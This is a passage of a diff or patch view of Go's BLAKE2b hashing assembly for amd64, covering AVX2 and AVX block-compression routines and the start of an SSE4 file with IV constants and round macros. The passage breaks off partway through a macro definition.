VMOVDQU ·AVX2_c40<>(SB), Y4
|
||||
VMOVDQU ·AVX2_c48<>(SB), Y5
|
||||
|
||||
VMOVDQU 0(AX), Y8
|
||||
VMOVDQU 32(AX), Y9
|
||||
VMOVDQU ·AVX2_iv0<>(SB), Y6
|
||||
VMOVDQU ·AVX2_iv1<>(SB), Y7
|
||||
|
||||
MOVQ 0(BX), R8
|
||||
MOVQ 8(BX), R9
|
||||
MOVQ R9, 8(DX)
|
||||
|
||||
loop:
|
||||
ADDQ $128, R8
|
||||
MOVQ R8, 0(DX)
|
||||
CMPQ R8, $128
|
||||
JGE noinc
|
||||
INCQ R9
|
||||
MOVQ R9, 8(DX)
|
||||
|
||||
noinc:
|
||||
VMOVDQA Y8, Y0
|
||||
VMOVDQA Y9, Y1
|
||||
VMOVDQA Y6, Y2
|
||||
VPXOR 0(DX), Y7, Y3
|
||||
|
||||
LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15()
|
||||
VMOVDQA Y12, 32(DX)
|
||||
VMOVDQA Y13, 64(DX)
|
||||
VMOVDQA Y14, 96(DX)
|
||||
VMOVDQA Y15, 128(DX)
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3()
|
||||
VMOVDQA Y12, 160(DX)
|
||||
VMOVDQA Y13, 192(DX)
|
||||
VMOVDQA Y14, 224(DX)
|
||||
VMOVDQA Y15, 256(DX)
|
||||
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0()
|
||||
ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5)
|
||||
|
||||
ROUND_AVX2(32(DX), 64(DX), 96(DX), 128(DX), Y10, Y4, Y5)
|
||||
ROUND_AVX2(160(DX), 192(DX), 224(DX), 256(DX), Y10, Y4, Y5)
|
||||
|
||||
VPXOR Y0, Y8, Y8
|
||||
VPXOR Y1, Y9, Y9
|
||||
VPXOR Y2, Y8, Y8
|
||||
VPXOR Y3, Y9, Y9
|
||||
|
||||
LEAQ 128(SI), SI
|
||||
SUBQ $128, DI
|
||||
JNE loop
|
||||
|
||||
MOVQ R8, 0(BX)
|
||||
MOVQ R9, 8(BX)
|
||||
|
||||
VMOVDQU Y8, 0(AX)
|
||||
VMOVDQU Y9, 32(AX)
|
||||
VZEROUPPER
|
||||
|
||||
RET
|
||||
|
||||
#define VPUNPCKLQDQ_X2_X2_X15 BYTE $0xC5; BYTE $0x69; BYTE $0x6C; BYTE $0xFA
|
||||
#define VPUNPCKLQDQ_X3_X3_X15 BYTE $0xC5; BYTE $0x61; BYTE $0x6C; BYTE $0xFB
|
||||
#define VPUNPCKLQDQ_X7_X7_X15 BYTE $0xC5; BYTE $0x41; BYTE $0x6C; BYTE $0xFF
|
||||
#define VPUNPCKLQDQ_X13_X13_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x11; BYTE $0x6C; BYTE $0xFD
|
||||
#define VPUNPCKLQDQ_X14_X14_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x09; BYTE $0x6C; BYTE $0xFE
|
||||
|
||||
#define VPUNPCKHQDQ_X15_X2_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x69; BYTE $0x6D; BYTE $0xD7
|
||||
#define VPUNPCKHQDQ_X15_X3_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xDF
|
||||
#define VPUNPCKHQDQ_X15_X6_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x49; BYTE $0x6D; BYTE $0xF7
|
||||
#define VPUNPCKHQDQ_X15_X7_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xFF
|
||||
#define VPUNPCKHQDQ_X15_X3_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xD7
|
||||
#define VPUNPCKHQDQ_X15_X7_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xF7
|
||||
#define VPUNPCKHQDQ_X15_X13_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xDF
|
||||
#define VPUNPCKHQDQ_X15_X13_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xFF
|
||||
|
||||
#define SHUFFLE_AVX() \
|
||||
VMOVDQA X6, X13; \
|
||||
VMOVDQA X2, X14; \
|
||||
VMOVDQA X4, X6; \
|
||||
VPUNPCKLQDQ_X13_X13_X15; \
|
||||
VMOVDQA X5, X4; \
|
||||
VMOVDQA X6, X5; \
|
||||
VPUNPCKHQDQ_X15_X7_X6; \
|
||||
VPUNPCKLQDQ_X7_X7_X15; \
|
||||
VPUNPCKHQDQ_X15_X13_X7; \
|
||||
VPUNPCKLQDQ_X3_X3_X15; \
|
||||
VPUNPCKHQDQ_X15_X2_X2; \
|
||||
VPUNPCKLQDQ_X14_X14_X15; \
|
||||
VPUNPCKHQDQ_X15_X3_X3; \
|
||||
|
||||
#define SHUFFLE_AVX_INV() \
|
||||
VMOVDQA X2, X13; \
|
||||
VMOVDQA X4, X14; \
|
||||
VPUNPCKLQDQ_X2_X2_X15; \
|
||||
VMOVDQA X5, X4; \
|
||||
VPUNPCKHQDQ_X15_X3_X2; \
|
||||
VMOVDQA X14, X5; \
|
||||
VPUNPCKLQDQ_X3_X3_X15; \
|
||||
VMOVDQA X6, X14; \
|
||||
VPUNPCKHQDQ_X15_X13_X3; \
|
||||
VPUNPCKLQDQ_X7_X7_X15; \
|
||||
VPUNPCKHQDQ_X15_X6_X6; \
|
||||
VPUNPCKLQDQ_X14_X14_X15; \
|
||||
VPUNPCKHQDQ_X15_X7_X7; \
|
||||
|
||||
#define HALF_ROUND_AVX(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \
|
||||
VPADDQ m0, v0, v0; \
|
||||
VPADDQ v2, v0, v0; \
|
||||
VPADDQ m1, v1, v1; \
|
||||
VPADDQ v3, v1, v1; \
|
||||
VPXOR v0, v6, v6; \
|
||||
VPXOR v1, v7, v7; \
|
||||
VPSHUFD $-79, v6, v6; \
|
||||
VPSHUFD $-79, v7, v7; \
|
||||
VPADDQ v6, v4, v4; \
|
||||
VPADDQ v7, v5, v5; \
|
||||
VPXOR v4, v2, v2; \
|
||||
VPXOR v5, v3, v3; \
|
||||
VPSHUFB c40, v2, v2; \
|
||||
VPSHUFB c40, v3, v3; \
|
||||
VPADDQ m2, v0, v0; \
|
||||
VPADDQ v2, v0, v0; \
|
||||
VPADDQ m3, v1, v1; \
|
||||
VPADDQ v3, v1, v1; \
|
||||
VPXOR v0, v6, v6; \
|
||||
VPXOR v1, v7, v7; \
|
||||
VPSHUFB c48, v6, v6; \
|
||||
VPSHUFB c48, v7, v7; \
|
||||
VPADDQ v6, v4, v4; \
|
||||
VPADDQ v7, v5, v5; \
|
||||
VPXOR v4, v2, v2; \
|
||||
VPXOR v5, v3, v3; \
|
||||
VPADDQ v2, v2, t0; \
|
||||
VPSRLQ $63, v2, v2; \
|
||||
VPXOR t0, v2, v2; \
|
||||
VPADDQ v3, v3, t0; \
|
||||
VPSRLQ $63, v3, v3; \
|
||||
VPXOR t0, v3, v3
|
||||
|
||||
// load msg: X12 = (i0, i1), X13 = (i2, i3), X14 = (i4, i5), X15 = (i6, i7)
|
||||
// i0, i1, i2, i3, i4, i5, i6, i7 must not be 0
|
||||
#define LOAD_MSG_AVX(i0, i1, i2, i3, i4, i5, i6, i7) \
|
||||
VMOVQ_SI_X12(i0*8); \
|
||||
VMOVQ_SI_X13(i2*8); \
|
||||
VMOVQ_SI_X14(i4*8); \
|
||||
VMOVQ_SI_X15(i6*8); \
|
||||
VPINSRQ_1_SI_X12(i1*8); \
|
||||
VPINSRQ_1_SI_X13(i3*8); \
|
||||
VPINSRQ_1_SI_X14(i5*8); \
|
||||
VPINSRQ_1_SI_X15(i7*8)
|
||||
|
||||
// load msg: X12 = (0, 2), X13 = (4, 6), X14 = (1, 3), X15 = (5, 7)
|
||||
#define LOAD_MSG_AVX_0_2_4_6_1_3_5_7() \
|
||||
VMOVQ_SI_X12_0; \
|
||||
VMOVQ_SI_X13(4*8); \
|
||||
VMOVQ_SI_X14(1*8); \
|
||||
VMOVQ_SI_X15(5*8); \
|
||||
VPINSRQ_1_SI_X12(2*8); \
|
||||
VPINSRQ_1_SI_X13(6*8); \
|
||||
VPINSRQ_1_SI_X14(3*8); \
|
||||
VPINSRQ_1_SI_X15(7*8)
|
||||
|
||||
// load msg: X12 = (1, 0), X13 = (11, 5), X14 = (12, 2), X15 = (7, 3)
|
||||
#define LOAD_MSG_AVX_1_0_11_5_12_2_7_3() \
|
||||
VPSHUFD $0x4E, 0*8(SI), X12; \
|
||||
VMOVQ_SI_X13(11*8); \
|
||||
VMOVQ_SI_X14(12*8); \
|
||||
VMOVQ_SI_X15(7*8); \
|
||||
VPINSRQ_1_SI_X13(5*8); \
|
||||
VPINSRQ_1_SI_X14(2*8); \
|
||||
VPINSRQ_1_SI_X15(3*8)
|
||||
|
||||
// load msg: X12 = (11, 12), X13 = (5, 15), X14 = (8, 0), X15 = (2, 13)
|
||||
#define LOAD_MSG_AVX_11_12_5_15_8_0_2_13() \
|
||||
VMOVDQU 11*8(SI), X12; \
|
||||
VMOVQ_SI_X13(5*8); \
|
||||
VMOVQ_SI_X14(8*8); \
|
||||
VMOVQ_SI_X15(2*8); \
|
||||
VPINSRQ_1_SI_X13(15*8); \
|
||||
VPINSRQ_1_SI_X14_0; \
|
||||
VPINSRQ_1_SI_X15(13*8)
|
||||
|
||||
// load msg: X12 = (2, 5), X13 = (4, 15), X14 = (6, 10), X15 = (0, 8)
|
||||
#define LOAD_MSG_AVX_2_5_4_15_6_10_0_8() \
|
||||
VMOVQ_SI_X12(2*8); \
|
||||
VMOVQ_SI_X13(4*8); \
|
||||
VMOVQ_SI_X14(6*8); \
|
||||
VMOVQ_SI_X15_0; \
|
||||
VPINSRQ_1_SI_X12(5*8); \
|
||||
VPINSRQ_1_SI_X13(15*8); \
|
||||
VPINSRQ_1_SI_X14(10*8); \
|
||||
VPINSRQ_1_SI_X15(8*8)
|
||||
|
||||
// load msg: X12 = (9, 5), X13 = (2, 10), X14 = (0, 7), X15 = (4, 15)
|
||||
#define LOAD_MSG_AVX_9_5_2_10_0_7_4_15() \
|
||||
VMOVQ_SI_X12(9*8); \
|
||||
VMOVQ_SI_X13(2*8); \
|
||||
VMOVQ_SI_X14_0; \
|
||||
VMOVQ_SI_X15(4*8); \
|
||||
VPINSRQ_1_SI_X12(5*8); \
|
||||
VPINSRQ_1_SI_X13(10*8); \
|
||||
VPINSRQ_1_SI_X14(7*8); \
|
||||
VPINSRQ_1_SI_X15(15*8)
|
||||
|
||||
// load msg: X12 = (2, 6), X13 = (0, 8), X14 = (12, 10), X15 = (11, 3)
|
||||
#define LOAD_MSG_AVX_2_6_0_8_12_10_11_3() \
|
||||
VMOVQ_SI_X12(2*8); \
|
||||
VMOVQ_SI_X13_0; \
|
||||
VMOVQ_SI_X14(12*8); \
|
||||
VMOVQ_SI_X15(11*8); \
|
||||
VPINSRQ_1_SI_X12(6*8); \
|
||||
VPINSRQ_1_SI_X13(8*8); \
|
||||
VPINSRQ_1_SI_X14(10*8); \
|
||||
VPINSRQ_1_SI_X15(3*8)
|
||||
|
||||
// load msg: X12 = (0, 6), X13 = (9, 8), X14 = (7, 3), X15 = (2, 11)
|
||||
#define LOAD_MSG_AVX_0_6_9_8_7_3_2_11() \
|
||||
MOVQ 0*8(SI), X12; \
|
||||
VPSHUFD $0x4E, 8*8(SI), X13; \
|
||||
MOVQ 7*8(SI), X14; \
|
||||
MOVQ 2*8(SI), X15; \
|
||||
VPINSRQ_1_SI_X12(6*8); \
|
||||
VPINSRQ_1_SI_X14(3*8); \
|
||||
VPINSRQ_1_SI_X15(11*8)
|
||||
|
||||
// load msg: X12 = (6, 14), X13 = (11, 0), X14 = (15, 9), X15 = (3, 8)
|
||||
#define LOAD_MSG_AVX_6_14_11_0_15_9_3_8() \
|
||||
MOVQ 6*8(SI), X12; \
|
||||
MOVQ 11*8(SI), X13; \
|
||||
MOVQ 15*8(SI), X14; \
|
||||
MOVQ 3*8(SI), X15; \
|
||||
VPINSRQ_1_SI_X12(14*8); \
|
||||
VPINSRQ_1_SI_X13_0; \
|
||||
VPINSRQ_1_SI_X14(9*8); \
|
||||
VPINSRQ_1_SI_X15(8*8)
|
||||
|
||||
// load msg: X12 = (5, 15), X13 = (8, 2), X14 = (0, 4), X15 = (6, 10)
|
||||
#define LOAD_MSG_AVX_5_15_8_2_0_4_6_10() \
|
||||
MOVQ 5*8(SI), X12; \
|
||||
MOVQ 8*8(SI), X13; \
|
||||
MOVQ 0*8(SI), X14; \
|
||||
MOVQ 6*8(SI), X15; \
|
||||
VPINSRQ_1_SI_X12(15*8); \
|
||||
VPINSRQ_1_SI_X13(2*8); \
|
||||
VPINSRQ_1_SI_X14(4*8); \
|
||||
VPINSRQ_1_SI_X15(10*8)
|
||||
|
||||
// load msg: X12 = (12, 13), X13 = (1, 10), X14 = (2, 7), X15 = (4, 5)
|
||||
#define LOAD_MSG_AVX_12_13_1_10_2_7_4_5() \
|
||||
VMOVDQU 12*8(SI), X12; \
|
||||
MOVQ 1*8(SI), X13; \
|
||||
MOVQ 2*8(SI), X14; \
|
||||
VPINSRQ_1_SI_X13(10*8); \
|
||||
VPINSRQ_1_SI_X14(7*8); \
|
||||
VMOVDQU 4*8(SI), X15
|
||||
|
||||
// load msg: X12 = (15, 9), X13 = (3, 13), X14 = (11, 14), X15 = (12, 0)
|
||||
#define LOAD_MSG_AVX_15_9_3_13_11_14_12_0() \
|
||||
MOVQ 15*8(SI), X12; \
|
||||
MOVQ 3*8(SI), X13; \
|
||||
MOVQ 11*8(SI), X14; \
|
||||
MOVQ 12*8(SI), X15; \
|
||||
VPINSRQ_1_SI_X12(9*8); \
|
||||
VPINSRQ_1_SI_X13(13*8); \
|
||||
VPINSRQ_1_SI_X14(14*8); \
|
||||
VPINSRQ_1_SI_X15_0
|
||||
|
||||
// func hashBlocksAVX(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
|
||||
TEXT ·hashBlocksAVX(SB), 4, $288-48 // frame size = 272 + 16 byte alignment
|
||||
MOVQ h+0(FP), AX
|
||||
MOVQ c+8(FP), BX
|
||||
MOVQ flag+16(FP), CX
|
||||
MOVQ blocks_base+24(FP), SI
|
||||
MOVQ blocks_len+32(FP), DI
|
||||
|
||||
MOVQ SP, R10
|
||||
ADDQ $15, R10
|
||||
ANDQ $~15, R10
|
||||
|
||||
VMOVDQU ·AVX_c40<>(SB), X0
|
||||
VMOVDQU ·AVX_c48<>(SB), X1
|
||||
VMOVDQA X0, X8
|
||||
VMOVDQA X1, X9
|
||||
|
||||
VMOVDQU ·AVX_iv3<>(SB), X0
|
||||
VMOVDQA X0, 0(R10)
|
||||
XORQ CX, 0(R10) // 0(R10) = ·AVX_iv3 ^ (CX || 0)
|
||||
|
||||
VMOVDQU 0(AX), X10
|
||||
VMOVDQU 16(AX), X11
|
||||
VMOVDQU 32(AX), X2
|
||||
VMOVDQU 48(AX), X3
|
||||
|
||||
MOVQ 0(BX), R8
|
||||
MOVQ 8(BX), R9
|
||||
|
||||
loop:
|
||||
ADDQ $128, R8
|
||||
CMPQ R8, $128
|
||||
JGE noinc
|
||||
INCQ R9
|
||||
|
||||
noinc:
|
||||
VMOVQ_R8_X15
|
||||
VPINSRQ_1_R9_X15
|
||||
|
||||
VMOVDQA X10, X0
|
||||
VMOVDQA X11, X1
|
||||
VMOVDQU ·AVX_iv0<>(SB), X4
|
||||
VMOVDQU ·AVX_iv1<>(SB), X5
|
||||
VMOVDQU ·AVX_iv2<>(SB), X6
|
||||
|
||||
VPXOR X15, X6, X6
|
||||
VMOVDQA 0(R10), X7
|
||||
|
||||
LOAD_MSG_AVX_0_2_4_6_1_3_5_7()
|
||||
VMOVDQA X12, 16(R10)
|
||||
VMOVDQA X13, 32(R10)
|
||||
VMOVDQA X14, 48(R10)
|
||||
VMOVDQA X15, 64(R10)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX(8, 10, 12, 14, 9, 11, 13, 15)
|
||||
VMOVDQA X12, 80(R10)
|
||||
VMOVDQA X13, 96(R10)
|
||||
VMOVDQA X14, 112(R10)
|
||||
VMOVDQA X15, 128(R10)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX(14, 4, 9, 13, 10, 8, 15, 6)
|
||||
VMOVDQA X12, 144(R10)
|
||||
VMOVDQA X13, 160(R10)
|
||||
VMOVDQA X14, 176(R10)
|
||||
VMOVDQA X15, 192(R10)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX_1_0_11_5_12_2_7_3()
|
||||
VMOVDQA X12, 208(R10)
|
||||
VMOVDQA X13, 224(R10)
|
||||
VMOVDQA X14, 240(R10)
|
||||
VMOVDQA X15, 256(R10)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX_11_12_5_15_8_0_2_13()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX(10, 3, 7, 9, 14, 6, 1, 4)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX(7, 3, 13, 11, 9, 1, 12, 14)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX_2_5_4_15_6_10_0_8()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX_9_5_2_10_0_7_4_15()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX(14, 11, 6, 3, 1, 12, 8, 13)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX_2_6_0_8_12_10_11_3()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX(4, 7, 15, 1, 13, 5, 14, 9)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX(12, 1, 14, 4, 5, 15, 13, 10)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX_0_6_9_8_7_3_2_11()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX(13, 7, 12, 3, 11, 14, 1, 9)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX_5_15_8_2_0_4_6_10()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX_6_14_11_0_15_9_3_8()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX_12_13_1_10_2_7_4_5()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
LOAD_MSG_AVX(10, 8, 7, 1, 2, 4, 6, 5)
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
LOAD_MSG_AVX_15_9_3_13_11_14_12_0()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, 16(R10), 32(R10), 48(R10), 64(R10), X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, 80(R10), 96(R10), 112(R10), 128(R10), X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, 144(R10), 160(R10), 176(R10), 192(R10), X15, X8, X9)
|
||||
SHUFFLE_AVX()
|
||||
HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, 208(R10), 224(R10), 240(R10), 256(R10), X15, X8, X9)
|
||||
SHUFFLE_AVX_INV()
|
||||
|
||||
VMOVDQU 32(AX), X14
|
||||
VMOVDQU 48(AX), X15
|
||||
VPXOR X0, X10, X10
|
||||
VPXOR X1, X11, X11
|
||||
VPXOR X2, X14, X14
|
||||
VPXOR X3, X15, X15
|
||||
VPXOR X4, X10, X10
|
||||
VPXOR X5, X11, X11
|
||||
VPXOR X6, X14, X2
|
||||
VPXOR X7, X15, X3
|
||||
VMOVDQU X2, 32(AX)
|
||||
VMOVDQU X3, 48(AX)
|
||||
|
||||
LEAQ 128(SI), SI
|
||||
SUBQ $128, DI
|
||||
JNE loop
|
||||
|
||||
VMOVDQU X10, 0(AX)
|
||||
VMOVDQU X11, 16(AX)
|
||||
|
||||
MOVQ R8, 0(BX)
|
||||
MOVQ R9, 8(BX)
|
||||
VZEROUPPER
|
||||
|
||||
RET
|
||||
|
|
@ -0,0 +1,278 @@
|
|||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build amd64 && gc && !purego
|
||||
|
||||
#include "textflag.h"
|
||||
|
||||
DATA ·iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908
|
||||
DATA ·iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b
|
||||
GLOBL ·iv0<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b
|
||||
DATA ·iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1
|
||||
GLOBL ·iv1<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·iv2<>+0x00(SB)/8, $0x510e527fade682d1
|
||||
DATA ·iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f
|
||||
GLOBL ·iv2<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b
|
||||
DATA ·iv3<>+0x08(SB)/8, $0x5be0cd19137e2179
|
||||
GLOBL ·iv3<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·c40<>+0x00(SB)/8, $0x0201000706050403
|
||||
DATA ·c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b
|
||||
GLOBL ·c40<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·c48<>+0x00(SB)/8, $0x0100070605040302
|
||||
DATA ·c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a
|
||||
GLOBL ·c48<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
#define SHUFFLE(v2, v3, v4, v5, v6, v7, t1, t2) \
|
||||
MOVO v4, t1; \
|
||||
MOVO v5, v4; \
|
||||
MOVO t1, v5; \
|
||||
MOVO v6, t1; \
|
||||
PUNPCKLQDQ v6, t2; \
|
||||
PUNPCKHQDQ v7, v6; \
|
||||
PUNPCKHQDQ t2, v6; \
|
||||
PUNPCKLQDQ v7, t2; \
|
||||
MOVO t1, v7; \
|
||||
MOVO v2, t1; \
|
||||
PUNPCKHQDQ t2, v7; \
|
||||
PUNPCKLQDQ v3, t2; \
|
||||
PUNPCKHQDQ t2, v2; \
|
||||
PUNPCKLQDQ t1, t2; \
|
||||
PUNPCKHQDQ t2, v3
|
||||
|
||||
#define SHUFFLE_INV(v2, v3, v4, v5, v6, v7, t1, t2) \
|
||||
MOVO v4, t1; \
|
||||
MOVO v5, v4; \
|
||||
MOVO t1, v5; \
|
||||
MOVO v2, t1; \
|
||||
PUNPCKLQDQ v2, t2; \
|
||||
PUNPCKHQDQ v3, v2; \
|
||||
PUNPCKHQDQ t2, v2; \
|
||||
PUNPCKLQDQ v3, t2; \
|
||||
MOVO t1, v3; \
|
||||
MOVO v6, t1; \
|
||||
PUNPCKHQDQ t2, v3; \
|
||||
PUNPCKLQDQ v7, t2; \
|
||||
PUNPCKHQDQ t2, v6; \
|
||||
PUNPCKLQDQ t1, t2; \
|
||||
PUNPCKHQDQ t2, v7
|
||||
|
||||
#define HALF_ROUND(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \
|
||||
PADDQ m0, v0; \
|
||||
PADDQ m1, v1; \
|
||||
PADDQ v2, v0; \
|
||||
PADDQ v3, v1; \
|
||||
PXOR v0, v6; \
|
||||
PXOR v1, v7; \
|
||||
PSHUFD $0xB1, v6, v6; \
|
||||
PSHUFD $0xB1, v7, v7; \
|
||||
PADDQ v6, v4; \
|
||||
PADDQ v7, v5; \
|
||||
PXOR v4, v2; \
|
||||
PXOR v5, v3; \
|
||||
PSHUFB c40, v2; \
|
||||
PSHUFB c40, v3; \
|
||||
PADDQ m2, v0; \
|
||||
PADDQ m3, v1; \
|
||||
PADDQ v2, v0; \
|
||||
PADDQ v3, v1; \
|
||||
PXOR v0, v6; \
|
||||
PXOR v1, v7; \
|
||||
PSHUFB c48, v6; \
|
||||
PSHUFB c48, v7; \
|
||||
PADDQ v6, v4; \
|
||||
PADDQ v7, v5; \
|
||||
PXOR v4, v2; \
|
||||
PXOR v5, v3; \
|
||||
MOVOU v2, t0; \
|
||||
PADDQ v2, t0; \
|
||||
PSRLQ $63, v2; \
|
||||
PXOR t0, v2; \
|
||||
MOVOU v3, t0; \
|
||||
PADDQ v3, t0; \
|
||||
PSRLQ $63, v3; \
|
||||
PXOR t0, v3
|
||||
|
||||
#define LOAD_MSG(m0, m1, m2, m3, src, i0, i1, i2, i3, i4, i5, i6, i7) \
|
||||
MOVQ i0*8(src), m0; \
|
||||
PINSRQ $1, i1*8(src), m0; \
|
||||
MOVQ i2*8(src), m1; \
|
||||
PINSRQ $1, i3*8(src), m1; \
|
||||
MOVQ i4*8(src), m2; \
|
||||
PINSRQ $1, i5*8(src), m2; \
|
||||
MOVQ i6*8(src), m3; \
|
||||
